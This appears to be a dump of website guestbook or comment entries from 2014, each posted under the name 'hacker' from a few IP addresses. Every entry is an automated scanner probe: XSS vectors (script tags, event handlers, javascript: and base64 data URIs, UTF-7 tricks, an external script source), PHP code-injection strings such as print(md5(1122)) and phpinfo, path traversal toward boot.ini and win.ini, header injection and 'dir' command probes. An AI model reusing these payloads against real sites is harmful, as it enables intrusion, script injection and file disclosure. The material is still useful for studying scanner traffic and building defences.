hacker2014-5-21 15:48:13182.118.33.6+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4- 
88888
hacker2014-5-21 15:48:14182.118.33.6print(md5(1122))# 
88888
hacker2014-5-21 15:48:14182.118.33.6)print(md5(1122))// 
88888
hacker2014-5-21 15:48:15182.118.33.6${@print(md5(1122))} 
88888
hacker2014-5-21 15:48:16182.118.33.6data:text/plain,?php print(md5(1122))? 
88888
hacker2014-5-21 15:48:16182.118.33.6phpinfo 
88888
hacker2014-5-21 15:48:17182.118.33.688888 
88888scriptalert(42873)/script
hacker2014-5-21 15:48:17182.118.33.688888 
88888img src1 erroralert(42873)
hacker2014-5-21 15:48:19182.118.33.688888 
88888div stylewidth:expressi(alert(42873))
hacker2014-5-21 15:48:20182.118.33.688888 
88888script srchttp://xxooxxoo.js/script
hacker2014-5-21 15:48:20182.118.33.688888 
88888+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4-
hacker2014-5-21 15:48:21182.118.33.688888 
88888" mousemovealert(42873) wb"
hacker2014-5-21 15:48:22182.118.33.688888 
88888a href#106#97#118#97#115#99#114#105#112#116#58#97#108#101#114#116#40#49#50#51#52#53#41TEST/a
hacker2014-5-21 15:48:23182.118.33.688888 
88888" mousemovealert(42873)wb"
hacker2014-5-21 15:48:23182.118.33.688888 
88888" mouseoverprompt(42873) bad"
hacker2014-5-21 15:48:24182.118.33.688888 
88888iframe SRCjavascript:alert(42873)
hacker2014-5-21 15:48:25182.118.33.688888 
88888body ONLOADalert(42873)
hacker2014-5-21 15:48:25182.118.33.688888 
88888
hacker2014-5-21 15:48:26182.118.33.688888 
88888object datadata:text/htmlbase64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4
hacker2014-5-21 15:48:27182.118.33.688888 
88888EMBED SRCjavascript:alert(42873)/EMBED
hacker2014-5-21 15:48:27182.118.33.688888 
88888
hacker2014-5-21 15:48:29182.118.33.688888 
88888BASE HREF"javascript:alert(42873)//"
hacker2014-5-21 15:48:30182.118.33.688888 
88888
hacker2014-5-21 15:48:32182.118.33.688888 
8888827
hacker2014-5-21 15:48:32182.118.33.688888 
88888
hacker2014-5-21 15:48:33182.118.33.688888 
88888\
hacker2014-5-21 15:48:34182.118.33.688888 
88888\"
hacker2014-5-21 15:48:35182.118.33.688888 
88888JyI
hacker2014-5-21 15:48:36182.118.33.688888 
88888"
hacker2014-5-21 15:48:36182.118.33.688888 
88888?
hacker2014-5-21 15:48:36182.118.33.688888 
88888"
hacker2014-5-21 15:48:36182.118.33.688888 
88888/
hacker2014-5-21 15:48:36182.118.33.688888 
88888alert(42873)
hacker2014-5-21 15:48:37182.118.33.688888 
../../../../../../../../boot.ini
hacker2014-5-21 15:48:37182.118.33.688888 
../../../../../../../../boot.ini
hacker2014-5-21 15:48:37182.118.33.688888 
boot.ini
hacker2014-5-21 15:48:37182.118.33.688888 
../../../../../../../../boot.ini
hacker2014-5-21 15:48:37182.118.33.688888 
/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini
hacker2014-5-21 15:48:37182.118.33.688888 
..\..\..\..\..\..\..\..\boot.ini
hacker2014-5-21 15:48:38182.118.33.688888 
../..//../..//../..//../..//../..//../..//../..//../..//boot.ini
hacker2014-5-21 15:48:38182.118.33.688888 
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini
hacker2014-5-21 15:48:39182.118.33.688888 
../../../../../../../../boot.ini
hacker2014-5-21 15:48:41182.118.33.688888 
file:///c:/boot.ini
hacker2014-5-21 15:48:42182.118.33.688888 
..\..\..\..\..\..\..\..\boot.ini
hacker2014-5-21 15:48:43182.118.33.688888 
................boot.ini
hacker2014-5-21 15:48:44182.118.33.688888 
http://some-inexistent-website.com/some_inexistent_file_with_lg_name
hacker2014-5-21 15:48:45182.118.33.688888 
/some_inexistent_file_with_lg_name
hacker2014-5-21 15:48:46182.118.33.688888 
SomeCustomInjectedHeader:injected_by_wvs
hacker2014-5-21 15:48:46182.118.33.688888 
SomeCustomInjectedHeader:injected_by_wvs
hacker2014-5-21 15:48:47182.118.33.688888 
dir
hacker2014-5-21 15:48:49182.118.33.688888 
dir
hacker2014-5-21 15:48:49182.118.33.688888 
http://oxoxoxoxoxoxox.com
hacker2014-5-21 15:48:50182.118.33.688888 
oxoxoxoxoxoxox.com
hacker2014-5-21 15:48:51182.118.33.688888 
+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4-
hacker2014-5-21 15:48:52182.118.33.688888 
print(md5(1122))#
hacker2014-5-21 15:48:54182.118.33.688888 
)print(md5(1122))//
hackerscriptalert(42873)/script2014-5-21 15:48:54182.118.33.688888 
88888
hacker2014-5-21 15:48:55182.118.33.688888 
${@print(md5(1122))}
hacker2014-5-21 15:48:57182.118.33.688888 
data:text/plain,?php print(md5(1122))?
hacker2014-5-21 15:48:58182.118.33.688888 
phpinfo
hacker2014-5-21 15:49:01182.118.33.688888 
88888
hacker272014-5-21 15:49:03182.118.33.688888 
88888
hacker2014-5-21 15:49:04182.118.33.688888 
88888
hacker\2014-5-21 15:49:04182.118.33.688888 
88888
hacker2014-5-21 15:49:04182.118.33.688888 
88888
hacker\"2014-5-21 15:49:05182.118.33.688888 
88888
hackerJyI2014-5-21 15:49:05182.118.33.688888 
88888
hacker"2014-5-21 15:49:05182.118.33.688888 
88888
hacker?2014-5-21 15:49:05182.118.33.688888 
88888
hacker"2014-5-21 15:49:05182.118.33.688888 
88888
hacker/2014-5-21 15:49:06182.118.33.688888 
88888
hackeralert(42873)2014-5-21 15:49:06182.118.33.688888 
88888
/some_inexistent_file_with_lg_name2014-5-21 15:49:11182.118.33.688888 
88888
SomeCustomInjectedHeader:injected_by_wvs2014-5-21 15:49:11182.118.33.688888 
88888
SomeCustomInjectedHeader:injected_by_wvs2014-5-21 15:49:13182.118.33.688888 
88888
dir2014-5-21 15:49:13182.118.33.688888 
88888
dir2014-5-21 15:49:14182.118.33.688888 
88888
hacker2014-5-21 15:49:36182.118.33.688888 
88888
hacker2014-6-27 12:34:13182.118.33.788888scriptalert(42873)/script 
88888
hacker2014-6-27 12:34:15182.118.33.788888img src1 erroralert(42873) 
88888
hacker2014-6-27 12:34:15182.118.33.788888div stylewidth:expressi(alert(42873)) 
88888
hacker2014-6-27 12:34:16182.118.33.788888script srchttp://xxooxxoo.js/script 
88888
hacker2014-6-27 12:34:16182.118.33.788888+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4- 
88888
hacker2014-6-27 12:34:17182.118.33.788888" mousemovealert(42873) wb" 
88888
hacker2014-6-27 12:34:18182.118.33.788888a href#106#97#118#97#115#99#114#105#112#116#58#97#108#101#114#116#40#49#50#51#52#53#41TEST/a 
88888
hacker2014-6-27 12:34:19182.118.33.788888" mousemovealert(42873)wb" 
88888
hacker2014-6-27 12:34:19182.118.33.788888" mouseoverprompt(42873) bad" 
88888
hacker2014-6-27 12:34:22182.118.33.788888iframe SRCjavascript:alert(42873) 
88888
hacker2014-6-27 12:34:27182.118.33.788888body ONLOADalert(42873) 
88888
hacker2014-6-27 12:34:28182.118.33.788888object datadata:text/htmlbase64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4 
88888
hacker2014-6-27 12:34:28182.118.33.788888EMBED SRCjavascript:alert(42873)/EMBED 
88888
hacker2014-6-27 12:34:30182.118.33.788888BASE HREF"javascript:alert(42873)//" 
88888
hacker2014-6-27 12:34:31182.118.33.788888 
88888
hacker2014-6-27 12:34:32182.118.33.78888827 
88888
hacker2014-6-27 12:34:33182.118.33.788888 
88888
hacker2014-6-27 12:34:33182.118.33.788888\ 
88888
hacker2014-6-27 12:34:34182.118.33.788888\" 
88888
hacker2014-6-27 12:34:35182.118.33.788888JyI 
88888
hacker2014-6-27 12:34:35182.118.33.788888" 
88888
hacker2014-6-27 12:34:36182.118.33.788888? 
88888
hacker2014-6-27 12:34:38182.118.33.788888" 
88888
hacker2014-6-27 12:34:40182.118.33.788888/ 
88888
hacker2014-6-27 12:34:43182.118.33.788888alert(42873) 
88888
hacker2014-6-27 12:34:44182.118.33.7../../../../../../../../boot.ini 
88888
hacker2014-6-27 12:34:45182.118.33.7../../../../../../../../boot.ini 
88888
hacker2014-6-27 12:34:45182.118.33.7boot.ini 
88888
hacker2014-6-27 12:34:46182.118.33.7../../../../../../../../boot.ini 
88888
hacker2014-6-27 12:34:46182.118.33.7/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini 
88888
hacker2014-6-27 12:34:46182.118.33.7..\..\..\..\..\..\..\..\boot.ini 
88888
hacker2014-6-27 12:34:50182.118.33.7../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 
88888
hacker2014-6-27 12:34:52182.118.33.7../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 
88888
hacker2014-6-27 12:35:05182.118.33.7../../../../../../../../boot.ini 
88888
hacker2014-6-27 12:35:07182.118.33.7file:///c:/boot.ini 
88888
hacker2014-6-27 12:35:07182.118.33.7..\..\..\..\..\..\..\..\boot.ini 
88888
hacker2014-6-27 12:35:09182.118.33.7................boot.ini 
88888
hacker2014-6-27 12:35:10182.118.33.7http://some-inexistent-website.com/some_inexistent_file_with_lg_name 
88888
hacker2014-6-27 12:35:12182.118.33.7/some_inexistent_file_with_lg_name 
88888
hacker2014-6-27 12:35:14182.118.33.7 SomeCustomInjectedHeader:injected_by_wvs 
88888
hacker2014-6-27 12:35:16182.118.33.7 SomeCustomInjectedHeader:injected_by_wvs 
88888
hacker2014-6-27 12:35:20182.118.33.7 SomeCustomInjectedHeader:injected_by_wvs 
88888
hacker2014-6-27 12:35:22182.118.33.7dir 
88888
hacker2014-6-27 12:35:23182.118.33.7dir 
88888
hacker2014-6-27 12:35:24182.118.33.7http://oxoxoxoxoxoxox.com 
88888
hacker2014-6-27 12:35:24182.118.33.7oxoxoxoxoxoxox.com 
88888
hacker2014-6-27 12:35:25182.118.33.7+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4- 
88888
hacker2014-6-27 12:35:26182.118.33.7print(md5(1122))# 
88888
hacker2014-6-27 12:35:26182.118.33.7)print(md5(1122))// 
88888
hacker2014-6-27 12:35:27182.118.33.7${@print(md5(1122))} 
88888
hacker2014-6-27 12:35:27182.118.33.7data:text/plain,?php print(md5(1122))? 
88888
hacker2014-6-27 12:35:28182.118.33.7phpinfo 
88888
hacker2014-6-27 12:35:28182.118.33.788888 
88888scriptalert(42873)/script
hacker2014-6-27 12:35:28182.118.33.788888 
88888
hacker2014-6-27 12:35:28182.118.33.788888 
88888img src1 erroralert(42873)
hacker2014-6-27 12:35:29182.118.33.788888 
88888div stylewidth:expressi(alert(42873))
hacker2014-6-27 12:35:29182.118.33.788888 
88888
hacker2014-6-27 12:35:29182.118.33.788888 
88888script srchttp://xxooxxoo.js/script
hacker2014-6-27 12:35:30182.118.33.788888 
88888+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4-
hacker2014-6-27 12:35:30182.118.33.788888 
88888" mousemovealert(42873) wb"
hacker2014-6-27 12:35:30182.118.33.788888 
88888a href#106#97#118#97#115#99#114#105#112#116#58#97#108#101#114#116#40#49#50#51#52#53#41TEST/a
hacker2014-6-27 12:35:31182.118.33.788888 
88888" mousemovealert(42873)wb"
hacker2014-6-27 12:35:31182.118.33.788888 
88888" mouseoverprompt(42873) bad"
hacker2014-6-27 12:35:32182.118.33.788888 
88888iframe SRCjavascript:alert(42873)
hacker2014-6-27 12:35:32182.118.33.788888 
88888body ONLOADalert(42873)
hacker2014-6-27 12:35:32182.118.33.788888 
88888object datadata:text/htmlbase64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4
hacker2014-6-27 12:35:33182.118.33.788888 
88888EMBED SRCjavascript:alert(42873)/EMBED
hacker2014-6-27 12:35:33182.118.33.788888 
88888BASE HREF"javascript:alert(42873)//"
hacker2014-6-27 12:35:33182.118.33.788888 
88888
hacker2014-6-27 12:35:34182.118.33.788888 
8888827
hacker2014-6-27 12:35:35182.118.33.788888 
88888
hacker2014-6-27 12:35:35182.118.33.788888 
88888\
hacker2014-6-27 12:35:35182.118.33.788888 
88888\"
hacker2014-6-27 12:35:36182.118.33.788888 
88888JyI
hacker2014-6-27 12:35:36182.118.33.788888 
88888"
hacker2014-6-27 12:35:36182.118.33.788888 
88888?
hacker2014-6-27 12:35:37182.118.33.788888 
88888"
hacker2014-6-27 12:35:37182.118.33.788888 
88888/
hacker2014-6-27 12:35:37182.118.33.788888 
88888alert(42873)
hacker2014-6-27 12:35:38182.118.33.788888 
../../../../../../../../boot.ini
hacker2014-6-27 12:35:38182.118.33.788888 
../../../../../../../../boot.ini
hacker2014-6-27 12:35:38182.118.33.788888 
boot.ini
hacker2014-6-27 12:35:39182.118.33.788888 
../../../../../../../../boot.ini
hacker2014-6-27 12:35:39182.118.33.788888 
/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini
hacker2014-6-27 12:35:39182.118.33.788888 
..\..\..\..\..\..\..\..\boot.ini
hacker2014-6-27 12:35:40182.118.33.788888 
../..//../..//../..//../..//../..//../..//../..//../..//boot.ini
hacker2014-6-27 12:35:40182.118.33.788888 
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini
hacker2014-6-27 12:35:40182.118.33.788888 
../../../../../../../../boot.ini
hacker2014-6-27 12:35:41182.118.33.788888 
file:///c:/boot.ini
hacker2014-6-27 12:35:41182.118.33.788888 
..\..\..\..\..\..\..\..\boot.ini
hacker2014-6-27 12:35:41182.118.33.788888 
................boot.ini
hacker2014-6-27 12:35:42182.118.33.788888 
http://some-inexistent-website.com/some_inexistent_file_with_lg_name
hacker2014-6-27 12:35:42182.118.33.788888 
/some_inexistent_file_with_lg_name
hackerscriptalert(42873)/script2014-6-27 12:35:42182.118.33.788888 
88888
hacker2014-6-27 12:35:42182.118.33.788888 
SomeCustomInjectedHeader:injected_by_wvs
hacker2014-6-27 12:35:43182.118.33.788888 
SomeCustomInjectedHeader:injected_by_wvs
hacker2014-6-27 12:35:43182.118.33.788888 
SomeCustomInjectedHeader:injected_by_wvs
hacker2014-6-27 12:35:43182.118.33.788888 
dir
hacker2014-6-27 12:35:44182.118.33.788888 
dir
hacker2014-6-27 12:35:44182.118.33.788888 
http://oxoxoxoxoxoxox.com
hacker2014-6-27 12:35:44182.118.33.788888 
oxoxoxoxoxoxox.com
hacker2014-6-27 12:35:44182.118.33.788888 
+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4-
hacker2014-6-27 12:35:45182.118.33.788888 
print(md5(1122))#
hacker2014-6-27 12:35:45182.118.33.788888 
)print(md5(1122))//
hacker2014-6-27 12:35:45182.118.33.788888 
${@print(md5(1122))}
hacker2014-6-27 12:35:46182.118.33.788888 
data:text/plain,?php print(md5(1122))?
hacker2014-6-27 12:35:46182.118.33.788888 
phpinfo
hacker2014-6-27 12:35:47182.118.33.788888 
88888
hacker272014-6-27 12:35:47182.118.33.788888 
88888
hacker2014-6-27 12:35:47182.118.33.788888 
88888
hacker\2014-6-27 12:35:47182.118.33.788888 
88888
hacker\"2014-6-27 12:35:48182.118.33.788888 
88888
hackerJyI2014-6-27 12:35:48182.118.33.788888 
88888
hacker"2014-6-27 12:35:48182.118.33.788888 
88888
hacker?2014-6-27 12:35:49182.118.33.788888 
88888
hacker"2014-6-27 12:35:49182.118.33.788888 
88888
hacker/2014-6-27 12:35:49182.118.33.788888 
88888
hackeralert(42873)2014-6-27 12:35:50182.118.33.788888 
88888
hacker2014-6-27 12:35:51182.118.33.788888 
88888
/some_inexistent_file_with_lg_name2014-6-27 12:35:54182.118.33.788888 
88888
SomeCustomInjectedHeader:injected_by_wvs2014-6-27 12:35:54182.118.33.788888 
88888
SomeCustomInjectedHeader:injected_by_wvs2014-6-27 12:35:55182.118.33.788888 
88888
SomeCustomInjectedHeader:injected_by_wvs2014-6-27 12:35:55182.118.33.788888 
88888
dir2014-6-27 12:35:55182.118.33.788888 
88888
dir2014-6-27 12:35:58182.118.33.788888 
88888
hacker2014-6-27 12:36:10182.118.33.788888 
88888
hacker2014-7-11 21:59:34182.118.33.788888scriptalert(42873)/script 
88888
hacker2014-7-11 21:59:35182.118.33.788888img src1 erroralert(42873) 
88888
hacker2014-7-11 21:59:37182.118.33.788888div stylewidth:expressi(alert(42873)) 
88888
hacker2014-7-11 21:59:39182.118.33.788888script srchttp://xxooxxoo.js/script 
88888
hacker2014-7-11 21:59:43182.118.33.788888+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4- 
88888
hacker2014-7-11 21:59:45182.118.33.788888" mousemovealert(42873) wb" 
88888
hacker2014-7-11 21:59:46182.118.33.788888a href#106#97#118#97#115#99#114#105#112#116#58#97#108#101#114#116#40#49#50#51#52#53#41TEST/a 
88888
hacker2014-7-11 21:59:48182.118.33.788888" mousemovealert(42873)wb" 
88888
hacker2014-7-11 21:59:49182.118.33.788888" mouseoverprompt(42873) bad" 
88888
hacker2014-7-11 21:59:51182.118.33.788888iframe SRCjavascript:alert(42873) 
88888
hacker2014-7-11 21:59:53182.118.33.788888body ONLOADalert(42873) 
88888
hacker2014-7-11 21:59:57182.118.33.788888object datadata:text/htmlbase64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4 
88888
hacker2014-7-11 22:00:02182.118.33.788888EMBED SRCjavascript:alert(42873)/EMBED 
88888
hacker2014-7-11 22:00:06182.118.33.788888BASE HREF"javascript:alert(42873)//" 
88888
hacker2014-7-11 22:00:06182.118.33.788888 
88888
hacker2014-7-11 22:00:08182.118.33.78888827 
88888
hacker2014-7-11 22:00:10182.118.33.788888 
88888
hacker2014-7-11 22:00:13182.118.33.788888\ 
88888
hacker2014-7-11 22:00:14182.118.33.788888\" 
88888
hacker2014-7-11 22:00:15182.118.33.788888JyI 
88888
hacker2014-7-11 22:00:16182.118.33.788888" 
88888
hacker2014-7-11 22:00:19182.118.33.788888? 
88888
hacker2014-7-11 22:00:20182.118.33.788888" 
88888
hacker2014-7-11 22:00:21182.118.33.788888/ 
88888
hacker2014-7-11 22:00:23182.118.33.788888alert(42873) 
88888
hacker2014-7-11 22:00:26182.118.33.7../../../../../../../../boot.ini 
88888
hacker2014-7-11 22:00:26182.118.33.7../../../../../../../../boot.ini 
88888
hacker2014-7-11 22:00:28182.118.33.7boot.ini 
88888
hacker2014-7-11 22:00:34182.118.33.7../../../../../../../../boot.ini 
88888
hacker2014-7-11 22:00:36182.118.33.7/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini 
88888
hacker2014-7-11 22:00:37182.118.33.7..\..\..\..\..\..\..\..\boot.ini 
88888
hacker2014-7-11 22:00:39182.118.33.7../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 
88888
hacker2014-7-11 22:00:40182.118.33.7../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 
88888
hacker2014-7-11 22:00:42182.118.33.7../../../../../../../../boot.ini 
88888
hacker2014-7-11 22:00:43182.118.33.7file:///c:/boot.ini 
88888
hacker2014-7-11 22:00:43182.118.33.7..\..\..\..\..\..\..\..\boot.ini 
88888
hacker2014-7-11 22:00:44182.118.33.7................boot.ini 
88888
hacker2014-7-11 22:00:45182.118.33.7http://some-inexistent-website.com/some_inexistent_file_with_lg_name 
88888
hacker2014-7-11 22:00:52182.118.33.7/some_inexistent_file_with_lg_name 
88888
hacker2014-7-11 22:02:14182.118.33.7 SomeCustomInjectedHeader:injected_by_wvs 
88888
hacker2014-7-11 22:02:28182.118.33.7 SomeCustomInjectedHeader:injected_by_wvs 
88888
hacker2014-7-11 22:02:29182.118.33.7 SomeCustomInjectedHeader:injected_by_wvs 
88888
hacker2014-7-11 22:02:31182.118.33.7 SomeCustomInjectedHeader:injected_by_wvs 
88888
hacker2014-7-11 22:02:33182.118.33.7 SomeCustomInjectedHeader:injected_by_wvs 
88888
hacker2014-7-11 22:03:54182.118.33.7 SomeCustomInjectedHeader:injected_by_wvs 
88888
hacker2014-7-11 22:04:54182.118.33.7dir 
88888
hacker2014-7-11 22:04:55182.118.33.7dir 
88888
hacker2014-7-11 22:04:56182.118.33.7dir 
88888
hacker2014-7-11 22:04:56182.118.33.7dir 
88888
hacker2014-7-11 22:04:56182.118.33.7http://oxoxoxoxoxoxox.com 
88888
hacker2014-7-11 22:04:57182.118.33.7http://oxoxoxoxoxoxox.com 
88888
hacker2014-7-11 22:04:57182.118.33.7oxoxoxoxoxoxox.com 
88888
hacker2014-7-11 22:04:58182.118.33.7+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4- 
88888
hacker2014-7-11 22:04:58182.118.33.7print(md5(1122))# 
88888
hacker2014-7-11 22:04:59182.118.33.7)print(md5(1122))// 
88888
hacker2014-7-11 22:05:00182.118.33.7${@print(md5(1122))} 
88888
hacker2014-7-11 22:05:02182.118.33.7data:text/plain,?php print(md5(1122))? 
88888
hacker2014-7-11 22:05:03182.118.33.7phpinfo 
88888
hacker2014-7-11 22:05:04182.118.33.788888 
88888scriptalert(42873)/script
hacker2014-7-11 22:05:05182.118.33.788888 
88888img src1 erroralert(42873)
hacker2014-7-11 22:05:06182.118.33.788888 
88888div stylewidth:expressi(alert(42873))
hacker2014-7-11 22:05:06182.118.33.788888 
88888script srchttp://xxooxxoo.js/script
hacker2014-7-11 22:05:08182.118.33.788888 
88888+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4-
hacker2014-7-11 22:05:09182.118.33.788888 
88888" mousemovealert(42873) wb"
hacker2014-7-11 22:05:09182.118.33.788888 
88888a href#106#97#118#97#115#99#114#105#112#116#58#97#108#101#114#116#40#49#50#51#52#53#41TEST/a
hacker2014-7-11 22:05:09182.118.33.788888 
88888
hacker2014-7-11 22:05:10182.118.33.788888 
88888" mousemovealert(42873)wb"
hacker2014-7-11 22:05:11182.118.33.788888 
88888" mouseoverprompt(42873) bad"
hacker2014-7-11 22:05:12182.118.33.788888 
88888
hacker2014-7-11 22:05:12182.118.33.788888 
88888iframe SRCjavascript:alert(42873)
hacker2014-7-11 22:05:13182.118.33.788888 
88888body ONLOADalert(42873)
hacker2014-7-11 22:05:14182.118.33.788888 
88888object datadata:text/htmlbase64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4
hacker2014-7-11 22:05:14182.118.33.788888 
88888EMBED SRCjavascript:alert(42873)/EMBED
hacker2014-7-11 22:05:14182.118.33.788888 
88888BASE HREF"javascript:alert(42873)//"
hacker2014-7-11 22:05:15182.118.33.788888 
88888
hacker2014-7-11 22:05:16182.118.33.788888 
8888827
hacker2014-7-11 22:05:17182.118.33.788888 
88888
hacker2014-7-11 22:05:18182.118.33.788888 
88888\
hacker2014-7-11 22:05:18182.118.33.788888 
88888\"
hacker2014-7-11 22:05:19182.118.33.788888 
88888JyI
hacker2014-7-11 22:05:20182.118.33.788888 
88888"
hacker2014-7-11 22:05:21182.118.33.788888 
88888?
hacker2014-7-11 22:05:21182.118.33.788888 
88888"
hacker2014-7-11 22:05:23182.118.33.788888 
88888/
hacker2014-7-11 22:05:24182.118.33.788888 
88888alert(42873)
hacker2014-7-11 22:05:25182.118.33.788888 
../../../../../../../../boot.ini
hacker2014-7-11 22:05:27182.118.33.788888 
../../../../../../../../boot.ini
hacker2014-7-11 22:05:28182.118.33.788888 
boot.ini
hacker2014-7-11 22:05:30182.118.33.788888 
../../../../../../../../boot.ini
hacker2014-7-11 22:05:31182.118.33.788888 
/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini
hacker2014-7-11 22:05:33182.118.33.788888 
..\..\..\..\..\..\..\..\boot.ini
hacker2014-7-11 22:05:35182.118.33.788888 
../..//../..//../..//../..//../..//../..//../..//../..//boot.ini
hacker2014-7-11 22:05:36182.118.33.788888 
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini
hacker2014-7-11 22:05:37182.118.33.788888 
../../../../../../../../boot.ini
hacker2014-7-11 22:05:38182.118.33.788888 
file:///c:/boot.ini
hacker2014-7-11 22:05:40182.118.33.788888 
..\..\..\..\..\..\..\..\boot.ini
hacker2014-7-11 22:05:42182.118.33.788888 
................boot.ini
hacker2014-7-11 22:05:44182.118.33.788888 
http://some-inexistent-website.com/some_inexistent_file_with_lg_name
hacker2014-7-11 22:05:46182.118.33.788888 
/some_inexistent_file_with_lg_name
hacker2014-7-11 22:05:58182.118.33.788888 
SomeCustomInjectedHeader:injected_by_wvs
hacker2014-7-11 22:06:03182.118.33.788888 
SomeCustomInjectedHeader:injected_by_wvs
hacker2014-7-11 22:06:04182.118.33.788888 
SomeCustomInjectedHeader:injected_by_wvs
hacker2014-7-11 22:06:11182.118.33.788888 
dir
hacker2014-7-11 22:06:12182.118.33.788888 
dir
hackerscriptalert(42873)/script2014-7-11 22:06:13182.118.33.788888 
88888
hacker2014-7-11 22:06:13182.118.33.788888 
http://oxoxoxoxoxoxox.com
hacker2014-7-11 22:06:14182.118.33.788888 
oxoxoxoxoxoxox.com
hacker2014-7-11 22:06:15182.118.33.788888 
+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4-
hacker2014-7-11 22:06:16182.118.33.788888 
print(md5(1122))#
hacker2014-7-11 22:06:16182.118.33.788888 
)print(md5(1122))//
hacker2014-7-11 22:06:17182.118.33.788888 
${@print(md5(1122))}
hacker2014-7-11 22:06:17182.118.33.788888 
data:text/plain,?php print(md5(1122))?
hacker2014-7-11 22:06:18182.118.33.788888 
phpinfo
hacker2014-7-11 22:06:21182.118.33.788888 
88888
hacker272014-7-11 22:06:21182.118.33.788888 
88888
hacker2014-7-11 22:06:23182.118.33.788888 
88888
hacker\2014-7-11 22:06:23182.118.33.788888 
88888
hacker\"2014-7-11 22:06:24182.118.33.788888 
88888
hackerJyI2014-7-11 22:06:25182.118.33.788888 
88888
hacker"2014-7-11 22:06:27182.118.33.788888 
88888
hacker?2014-7-11 22:06:27182.118.33.788888 
88888
hacker"2014-7-11 22:06:29182.118.33.788888 
88888
hacker/2014-7-11 22:06:30182.118.33.788888 
88888
hackeralert(42873)2014-7-11 22:06:31182.118.33.788888 
88888
hacker2014-7-11 22:06:31182.118.33.788888 
88888
/some_inexistent_file_with_lg_name2014-7-11 22:06:34182.118.33.788888 
88888
SomeCustomInjectedHeader:injected_by_wvs2014-7-11 22:06:35182.118.33.788888 
88888
SomeCustomInjectedHeader:injected_by_wvs2014-7-11 22:06:35182.118.33.788888 
88888
SomeCustomInjectedHeader:injected_by_wvs2014-7-11 22:06:36182.118.33.788888 
88888
dir2014-7-11 22:06:37182.118.33.788888 
88888
dir2014-7-11 22:06:38182.118.33.788888 
88888
hacker2014-7-11 22:06:47182.118.33.788888 
88888
hacker2014-8-14 23:49:18123.125.160.21688888scriptalert(42873)/script 
88888
hacker2014-8-14 23:49:19123.125.160.21688888img src1 erroralert(42873) 
88888
hacker2014-8-14 23:49:19123.125.160.21688888div stylewidth:expressi(alert(42873)) 
88888
hacker2014-8-14 23:49:21123.125.160.21688888script srchttp://xxooxxoo.js/script 
88888
hacker2014-8-14 23:49:22123.125.160.21688888+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4- 
88888
hacker2014-8-14 23:49:23123.125.160.21688888" mousemovealert(42873) wb" 
88888
hacker2014-8-14 23:49:24123.125.160.21688888a href#106#97#118#97#115#99#114#105#112#116#58#97#108#101#114#116#40#49#50#51#52#53#41TEST/a 
88888
hacker2014-8-14 23:49:25123.125.160.21688888" mousemovealert(42873)wb" 
88888
hacker2014-8-14 23:49:26123.125.160.21688888" mouseoverprompt(42873) bad" 
88888
hacker2014-8-14 23:49:34123.125.160.21688888iframe SRCjavascript:alert(42873) 
88888
hacker2014-8-14 23:49:43123.125.160.21688888body ONLOADalert(42873) 
88888
hacker2014-8-14 23:49:45123.125.160.21688888object datadata:text/htmlbase64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4 
88888
hacker2014-8-14 23:49:47123.125.160.21688888EMBED SRCjavascript:alert(42873)/EMBED 
88888
hacker2014-8-14 23:49:49123.125.160.21688888BASE HREF"javascript:alert(42873)//" 
88888
hacker2014-8-14 23:49:50123.125.160.21688888 
88888
hacker2014-8-14 23:49:53123.125.160.2168888827 
88888
hacker2014-8-14 23:49:55123.125.160.21688888 
88888
hacker2014-8-14 23:49:59123.125.160.21688888\ 
88888
hacker2014-8-14 23:50:02123.125.160.21688888\" 
88888
hacker2014-8-14 23:50:02123.125.160.21688888JyI 
88888
hacker2014-8-14 23:50:04123.125.160.21688888" 
88888
hacker2014-8-14 23:50:04123.125.160.21688888? 
88888
hacker2014-8-14 23:50:05123.125.160.21688888" 
88888
hacker2014-8-14 23:50:05123.125.160.21688888/ 
88888
hacker2014-8-14 23:50:06123.125.160.21688888alert(42873) 
88888
hacker2014-8-14 23:50:06123.125.160.216../../../../../../../../boot.ini 
88888
hacker2014-8-14 23:50:09123.125.160.216../../../../../../../../windows/win.ini 
88888
hacker2014-8-14 23:50:10123.125.160.216../../../../../../../../boot.ini 
88888
hacker2014-8-14 23:50:10123.125.160.216../../../../../../../../windows/win.ini 
88888
hacker2014-8-14 23:50:13123.125.160.216boot.ini 
88888
hacker2014-8-14 23:50:14123.125.160.216windows/win.ini 
88888
hacker2014-8-14 23:50:15123.125.160.216../../../../../../../../boot.ini 
88888
hacker2014-8-14 23:50:16123.125.160.216../../../../../../../../windows/win.ini 
88888
hacker2014-8-14 23:50:17123.125.160.216../../../../../../../../boot.ini 
88888
hacker2014-8-14 23:50:17123.125.160.216../../../../../../../../windows/win.ini 
88888
hacker2014-8-14 23:50:18123.125.160.216/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini 
88888
